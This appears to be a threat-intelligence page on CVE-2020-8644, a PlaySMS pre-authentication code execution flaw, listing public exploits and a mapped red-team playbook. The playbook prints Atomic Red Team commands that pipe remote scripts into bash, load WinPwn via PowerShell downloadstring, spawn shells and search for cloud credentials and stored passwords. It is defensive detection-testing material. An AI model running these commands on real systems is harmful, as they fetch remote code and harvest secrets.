CVE-2020-8644
Overview
This vulnerability is a remote code execution flaw caused by improper input sanitization in PlaySMS versions prior to 1.4.3. The root cause lies in the failure to sanitize user-supplied strings in the authentication component, specifically within the login route handlers. This allows malicious input to be interpreted and executed by the application, affecting the core authentication mechanism of PlaySMS.
Vulnerability Description
PlaySMS before 1.4.3 does not sanitize inputs from a malicious string.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary system commands on the affected server, resulting in full compromise of the underlying system. This includes the ability to access sensitive data, modify system configurations, or deploy persistent malware. The exploit requires no user interaction or credentials, enabling remote attackers to gain complete control over the PlaySMS installation and potentially pivot within the network environment.
Solution
Upgrade PlaySMS to version 1.4.3 or later as released by the vendor in February 2020. The vendor advisory available at https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ provides detailed patch instructions. Applying this update addresses the input sanitization flaws in the authentication module and mitigates the remote code execution vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in PlaySMS arises from inadequate input sanitization, which allows attackers to inject malicious strings into the system. This flaw is particularly concerning as it can lead to various forms of code injection attacks, including remote code execution and cross-site scripting (XSS). The lack of proper validation on user inputs means that an attacker can manipulate the data sent to the application, potentially executing arbitrary commands or scripts that the application was not designed to handle. This oversight in input handling can compromise the integrity and confidentiality of the system, making it a critical security concern.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple channels. An attacker could craft a malicious payload that is sent through forms or API endpoints that accept user input. For example, if an attacker submits a specially crafted message or data string, the application may process this input without proper checks, leading to the execution of unintended commands. Additionally, this vulnerability can be exploited via phishing attacks, where users are tricked into submitting sensitive information or executing harmful scripts unknowingly. The ease of exploitation, combined with the high impact of successful attacks, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on PlaySMS for communication and messaging services. Successful exploitation could lead to unauthorized access to sensitive data, including user credentials and personal information. This breach could result in significant financial losses, reputational damage, and legal repercussions, particularly if the organization is subject to compliance regulations such as GDPR or HIPAA. Furthermore, the potential for attackers to use the compromised system as a launchpad for further attacks can escalate the situation, affecting not just the immediate target but also its clients and partners.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and code reviews can help identify areas where input validation is lacking. Employing web application firewalls (WAF) can provide an additional layer of protection by filtering out malicious input before it reaches the application. Furthermore, organizations should ensure that they are using the latest version of PlaySMS, as updates often include patches for known vulnerabilities. Educating users about the risks of phishing and the importance of reporting suspicious activity can also play a crucial role in preventing exploitation.
In conclusion, the vulnerability in PlaySMS due to inadequate input sanitization presents significant risks to organizations utilizing this messaging platform. The potential for exploitation through various attack vectors highlights the necessity for robust security measures and regular updates to the software. By prioritizing security best practices, organizations can better protect themselves against the threats posed by this and similar vulnerabilities, ensuring the integrity and confidentiality of their communications.
Recent developments in the exploitation landscape of CVE-2020-8644 indicate a marked escalation in attacker capabilities and accessibility. CSURFACE threat intelligence has identified the emergence of publicly available proof-of-concept exploit code hosted on GitHub, alongside the integration of a Metasploit module specifically targeting this vulnerability. This combination significantly lowers the technical barrier for threat actors to execute remote code execution attacks against vulnerable PlaySMS instances. Additionally, the inclusion of this vulnerability in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its growing prominence and the urgency for defenders to prioritize monitoring and response efforts. Our telemetry further confirms a substantial increase in exploit attempts, reflected in the elevated EPSS score now nearing critical thresholds. Collectively, these factors elevate the overall threat level from theoretical to actively exploited, demanding heightened vigilance from security teams responsible for PlaySMS deployments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Playsms | Playsms | All |
cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
PlaySMS index.php Unauthenticated Template Injection Code Execution
exploits/multi/http/playsms_template_injection
|
- | Unknown | php | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) | Metasploit | remote | php | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
H3rm1tR3b0rn/CVE-2020-8644-PlaySMS-1.4
Python script to exploit PlaySMS before 1.4.3
|
H3rm1tR3b0rn | 2 | 0 | 2023-07-25 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-8644 |
| playsms.org |
GitHub CVE
x_refsource_MISC
|
https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ |
| forum.playsms.org |
GitHub CVE
x_refsource_MISC
|
https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704 |
| research.nccgroup.com |
GitHub CVE
x_refsource_MISC
|
https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8644 |